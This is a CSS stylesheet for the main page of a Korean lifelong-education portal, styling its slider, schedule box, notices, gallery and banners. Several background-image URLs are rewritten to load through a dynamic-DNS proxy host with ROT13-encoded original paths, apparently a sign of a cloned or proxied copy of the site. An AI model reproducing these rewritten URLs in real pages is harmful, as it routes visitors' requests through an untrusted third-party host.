/*본문바로가기(웹접근성)*/
#skip_nav {position:relative;z-index:9999;}
#skip_nav a {display:block;position:absolute;top:-3000px;}

img.auto{max-width: 100%;  max-height: 100%; width: auto; height: auto;}
div a:hover{color:#fba81a; transition:all .3s ease;}
#main-container {padding-top: 104px;}
#visual-wrap {position:relative;  padding-bottom:20px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Svzntrf%2Swvaurhat%2Sznva%2Sivfhny_ot.wct) no-repeat center; padding:65px 0 88px; height:630px; }
#visual-wrap .wrap{position:relative;}
#visual-wr {position: relative;}

/* 메인 비주얼 */
.visual-left {position: relative; float: left; width:800px; }
.visual-left .nav{ position: absolute;  z-index: 999; color:rgba(255, 255, 255, 0.9); font-size: 12px; cursor:pointer; width:100%; left:0; text-align:center; padding-left:480px; bottom:-45px; }
.visual-left .nav span{ margin-left:8px; margin-top:2px; }
.visual-left .nav button {border:none; background:none; padding:0;}
.visual-left .owl-theme .owl-dots .owl-dot span {margin:5px 4px;}

#visual{position: relative; height:487px;}
#visual .item {position:relative;  height:100%; padding:0 53px 32px; box-sizing:border-box; }
#visual .item a {display: block; height: 100%; box-shadow: 0 13px 21px 0 rgb(0 0 0 / 50%);}
#visual .item .div-img{position:relative; max-width:799px; height: 100%; margin: 0 auto;}
#visual .item .v-img{border: 3px solid #d9dfe3; position: absolute; top: 0; left: 50%; border-radius: 10px; width:799px; margin-left: -425px;}

#visual .owl-stage-outer {height:100%}
#visual .owl-stage-outer .owl-stage {height:100%}
#visual .owl-stage-outer .owl-stage .owl-item {height:100%; overflow:hidden}
#visual .owl-dots {margin-top:25px; margin-left: 353px;}
#visual .owl-theme .owl-nav{display:none;}
.owl-theme .owl-dots .owl-dot span {width:12px; height:12px; background:rgba(255, 255, 255, 0.5);}
.owl-theme .owl-nav [class*='owl-']:hover {background:none;}
.owl-theme .owl-dots .owl-dot.active span{background:#fff;}
.owl-theme .owl-dots .owl-dot:hover span{background:#fba81a; transition:all .3s ease;}

/* 교육일정 */
.visual-right {float: right; width:29%; }
.visual-right .schedule {padding:18px 20px 15px; background:#f7f7f6; border-radius:10px; border:3px solid #d9dfe3; box-shadow:0 3px 9px 0 rgb(59 60 69 / 30%);}
.visual-right .schedule img{width:100%; cursor:pointer;}
.visual-right .schedule ul {height:180px; overflow-y:auto; }
.visual-right .schedule ul::-webkit-scrollbar {width:5px;}
.visual-right .schedule ul::-webkit-scrollbar-thumb { background-color:#999999; border-radius:10px;}
.visual-right .schedule ul::-webkit-scrollbar-track { background-color: #d2d2d2; border-radius: 10px; box-shadow: inset 0px 0px 5px white;}
.visual-right .schedule ul li {height:60px; display: flex; align-items: center;}
.visual-right .schedule .date {float:left; color:#fff; padding: 10px 5px 8px; background:linear-gradient(155deg, #0072ce, #0093d8); font-size: 11px; text-align:center; line-height:1; margin-right:12px;}
.visual-right .schedule .date > span{display:block; font-size:21px; font-weight:700;}
.visual-right .sche-tit{font-size:14px; color:#000;font-weight:500;display: inline;}
.visual-right .sche-cts{font-size:12px; color:#666;}
.visual-right .sech-more{font-size:14px; color:#666; text-align:right; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Svzntrf%2Swvaurhat%2Sznva%2Sznex_neebj.cat) right 0 top 2px no-repeat; padding-right:14px; font-family: 'GmarketSansMedium';}
.visual-right .schedule a:hover .date{ background: linear-gradient(155deg, #ffc107, #ff9186); transition:all .3s ease;}

/* 세종e배움터, 평생교육정보망, 교육신청, 나의 신청현황 사이트연결 */
.visual-right .main-4box {margin-top:18px;}
.visual-right .main-4box ul {position:relative; overflow:hidden; }
.visual-right .main-4box ul li {width:49%; margin-right:2%; float:left; background:#fff; margin-bottom:2%; text-align:center; padding:20px; border:3px solid #d9dfe3; border-radius:10px; box-shadow:0px 2px 3px 0px rgb(59 60 69 / 40%); font-weight:500; font-size:18px;
    line-height: 1; font-family: 'GmarketSansMedium';}
.visual-right .main-4box ul li:nth-child(2n) {margin-right:0;}
.visual-right .main-4box ul li img{display: block; margin:0 auto; padding-bottom: 9px;}


/* 반응형 - 비주얼영역,- 교육일정, 세종e배움터, 평생교육정보망, 교육신청, 나의 신청현황 사이트연결 */
@media all and (max-width:1399px) {
	.visual-left {width:62%;}
    #visual{height:480px;}
    #visual .item .v-img{border:none; width: 805px;}
	.visual-right {width:36%}
    .visual-right .schedule{border-radius:initial; border:none;}
    .visual-right .main-4box ul li{border-radius: initial;}	
}


@media all and (max-width:1100px) {
    #visual-wrap{ padding:30px 0; height:auto; background-size:cover;}
    .visual-left .nav {bottom:7.5%;   display:inline-block; margin:0 auto; padding:0; }
    .visual-left, .visual-right {position:relative; float:none; margin: 0 auto;}
	.visual-left {position:relative; width:100%;  padding-bottom:13px}
	.visual-left .owl-theme .owl-dots {display:inline-block;}
	.visual-left .owl-theme .owl-dots .owl-dot span {margin:-2px 4px;}

	#visual {position:absolute; top:0; left:0; width:100%; height:100%}
	#visual .item {}
	#visual .item .div-img {max-width:none}
	#visual .item .div-img .v-img {position:static; width:100%; height:auto; margin-left:0}
	#visual .owl-dots { position:absolute; bottom:6%; left:calc(50% - 47px); margin-left:0; }
   
    .visual-right{width:88%;}
    .visual-right .schedule{ border-radius: 10px;  border: 3px solid #d9dfe3;}
    .visual-right .schedule ul {height:206px;}
    .visual-right .schedule ul li{height: 60px; margin: 10px 0; border-bottom:1px solid #eaeaea;}
    .visual-right .main-4box ul li{ border-radius: 10px;  border: 3px solid #d9dfe3;}
	   
}

@media all and (max-width:860px) {
	#visual {padding-bottom:10px}
    .visual-left{padding-bottom:0;}
	.visual-left .nav {bottom:11%;  }
	#visual .item {padding-bottom:35px; }
	#visual .item a {box-shadow:none}
	#visual .owl-dots {bottom: 9%;}
    #visual .owl-theme .owl-dots .owl-dot span{background: rgba(255, 255, 255, 0.8);}
    .visual-right {width: 85%;}
    .visual-right .main-4box ul li{font-size:17px;}
    
	
}

@media all and (max-width:700px) {
    .progress-wr {width:100%;}
	.visual-wrap > .wrap {margin:0 10px}
	.visual-left {padding-bottom:15px;overflow:visible}
	#visual .item {padding: 0 32px 32px;}
	
	
}

@media all and (max-width:430px) {
    #main-container {padding-top:94px;}
    #visual .item {padding:0 16px 32px;}
    .visual-right .schedule {padding: 10px 10px 13px;}
    .visual-right .main-4box ul li{padding:10px;}
    .announce, .coverage {margin-top: 16px;}
}

@media all and (max-width:280px) {
    .visual-right .schedule .date{padding:5px; line-height: 1.5;}
    .visual-right .schedule .date > span {font-size:15px;}
    .visual-right .sche-tit, .visual-right .sche-cts {font-size:11px;}
    .visual-right .main-4box ul li {font-size: 13px;}
}

	

/* 공지사항, 사업공고, 언론보도 공통 */
#news{margin:40px 0 70px;  }
#news .top-tit{font-size:16px; font-weight: 700; padding-bottom:14px; border-bottom:2px solid #d7d7d7; margin-bottom:23px; }
#news .top-tit span{font-size:0.75rem; font-weight:500; color:#5d5d5d; background:#fff; box-shadow: 0px 0px 3px 2px rgb(59 60 69 / 20%);  padding: 11px 5px 12px; line-height: 0; display: inline-block; float:right;}
#news .tit{font-size:21px; font-weight:bold; overflow: hidden; text-overflow: ellipsis; width:362px;  white-space: normal; line-height:1.2; height: 2.4em; text-align:left; word-wrap:break-word; display: -webkit-box; -webkit-line-clamp: 3; -webkit-box-orient: vertical;}
#news .date{color:#888; font-size:14px;}
ul.dotStyle{margin-top:14px;}
ul.dotStyle li{position:relative; padding-left:8px; font-size:16px; color:#333; margin-bottom:6px;  overflow: hidden; text-overflow: ellipsis; width:342px;  white-space: nowrap;}
ul.dotStyle li:before{content:''; position:absolute; top:10px; left:0; border-radius:4px; width:4px; height:4px;  }


/* 공지사항 */
.notice{padding-right:6px;}
#news .notice .top-tit{ color:#005cb3;}
#news .notice ul.dotStyle li:before{background:#0071ce;}
#news .notice a:hover .tit {color:#005cb3;}
#news .notice .cts a:hover li{color:#005cb3;}

/* 사업공고 */
.announce{padding:0 3px;}
#news .announce .top-tit{ color:#0093d8;}
#news .announce ul.dotStyle li:before{background:#0093d8;}
#news .announce a:hover .tit {color:#0093d8;}
#news .announce .cts a:hover li{color:#0093d8;}

/* 언론보도 */
.coverage{padding-left:6px;}
#news .coverage .top-tit{ color:#fba81a;}
#news .coverage ul.dotStyle li:before{background:#fba81a;}
#news .coverage a:hover .tit {color:#fba81a;}
#news .coverage .cts a:hover li{color:#fba81a;}

/* 반응형 - 공지사항, 사업공고, 언론보도 */
@media all and (max-width:1260px){
    #news .tit {width:80%;}
    ul.dotStyle li{width:90%;}
    .notice{padding-right:0;}
    .announce{padding:0}
    .coverage{padding-left:0;}
}

@media all and  (max-width:991px){
    #community .wrap{width:85%;}
    #news .top-tit{margin-bottom:10px; padding-bottom:9px; font-size:20px}
    #news .tit{width:100%; margin-bottom: 4px;}
     ul.dotStyle li{width:95%;}
    .announce, .coverage, .m-notice{margin-top:35px;}
}

@media all and  (max-width:600px){
    #news{margin:30px 0;}
    #news .top-tit {font-size:19px;}
    #news .tit{font-size:18px;}
    #news .date{font-size:12px;}
    ul.dotStyle li{font-size:13px;}
    ul.dotStyle li:before{top:9px; width:3px; height:3px;}
    .announce, .coverage, .m-notice {margin-top:16px;}
    
}

@media all and (max-width:280px) {
    #news .top-tit {font-size:18px;}
    #news .tit{height: 2.3em; font-size:16px;}
}

/* 갤러리 */
#gallery{position:relative; padding-bottom:74px; overflow:hidden;}
#gallery .gallery_wrap {width:1200px; margin:0 auto; position:relative;}
.gallery-bg{position:absolute; left:0; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Svzntrf%2Swvaurhat%2Sznva%2Sznex_ybtb.cat) left no-repeat #005cb3; width:2000px; height:165px; z-index:-1; margin-top:132px;}
#gallery .tit{font-size:42px; color: #292a2b; font-weight:700; margin-bottom:5px; font-family: 'GmarketSansMedium';}
#gallery .more{font-size:15px; position:relative; z-index:999;  font-family: 'GmarketSansMedium';} 
#gallery .more a{color:#3f4246;  z-index:999;}
#gallery .more a:hover {color:#005cb3; }
#gallery ul{z-index:1; float:right; margin-top:-80px; width:820px;}
#gallery li{display:inline-block; margin: 0 auto; text-align: center;}
#gallery li a{display:block;}
#gallery li a:hover img{box-shadow: 0 7px 13px 0 rgb(0 0 0 / 50%); transition:all .3s ease;}
#gallery li p{font-size: 21px; color: #fff; overflow: hidden;  text-overflow: ellipsis;  width: 232px;  white-space: nowrap; margin:0 auto;}
.owl-carousel .owl-item img {margin:0 auto;}

/* 반응형 - 갤러리 */
@media all and (max-width:1360px) {
	.wrap2{width:100%}
    #gallery{padding-bottom:30px;}
    #gallery .gallery_wrap{width:100%;}
    .gallery-bg{margin-top:0; width:100%; height:250px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sfev.er.xe%2Svzntrf%2Swvaurhat%2Sznva%2Sznex_ybtb.cat) left bottom no-repeat #005cb3;}
    #gallery .tit{margin:0 auto; text-align:center; margin-bottom:140px; color:#fff; margin-top:30px;}
    #gallery .more{position: absolute; top:62px; right:30px; }    
    #gallery .more a{color:#fff;}
    #gallery .more a:hover{color:#fff}
    #gallery ul {width:100%;}
    #gallery li{}
    #gallery li p{color:#333; font-size: 17px; margin-top:10px; width: 80%; margin-right:55px;}
    #gallery li p {width:100%;}
}


@media all and (max-width:800px) {
/*     #community #gallery .wrap{width:95%;} */
    #gallery .tit{font-size:30px;}
    #gallery .more{font-size:12px; top:25px;}
/*     #gallery .owl-theme .owl-dots .owl-dot span{width:8px; height:8px;} */
    #gallery li p{font-size: 14px;}
}


@media all and (max-width:430px) {
/*     .gallery-bg{height:200px;} */
/*     #gallery .more { */
/*     	top:45px; */
/*     } */
    
}



/* 관계사 로고배너 */
.f-baaner-wr{background:#f0f3f5; padding:20px 0; position:relative;}
#f-banner{width:84%;}
#f-banner .img{width:183px; height:66px;}
#f-banner img{border:1px solid #d2d2d2;}
.f-baaner-wr .nav{float: right;  z-index: 1; background: #fff; padding: 19px 0px; border: 1px solid #d2d2d2; height:66px;}
.f-baaner-wr .nav > span {color: #666; padding:0 25px;}
.f-baaner-wr .nav > span.stop{/*font-size:10px; padding-top:4px;*/}

a.f-banner-anchor:focus{
	outline-offset:-2px; 
}

/* 반응형 - 관계사 로고배너 */
@media all and (max-width:1240px) {
    #f-banner{width:80%; margin:0 auto;}
    .f-baaner-wr .nav{float:left; background:none; border:none; height:auto; padding: 12px 0px;}
    .f-baaner-wr .nav > span{padding: 10px;}
    .f-baaner-wr .nav > span.prev{position:absolute; left:0;}
    .f-baaner-wr .nav > span.stop{display:none;}
    .f-baaner-wr .nav > span.next{position:absolute; right:0;}
}

@media all and (max-width:800px) {
    .f-baaner-wr{padding: 10px 0;}
    #f-banner .img {width:auto; height:auto; width:100%; margin: 0 auto; }
    #f-banner img {max-width:60%; margin: 0 auto; }
    .f-baaner-wr .nav > span.prev{position:absolute; left:0; top:12px;}
    .f-baaner-wr .nav > span.next{position:absolute; right:0; top:12px;}

}

@media all and (max-width:600px) {
    .f-baaner-wr .nav > span.prev{top:10px;}
    .f-baaner-wr .nav > span.next{top:10px;}
    #f-banner img {max-width:80%;}
}

@media all and (max-width:430px) {
    #f-banner img {max-width:100%;}
}


/* 반응형 - 공통 */
@media all and (max-width:1360px) {
    .wrap{width:98%;}
}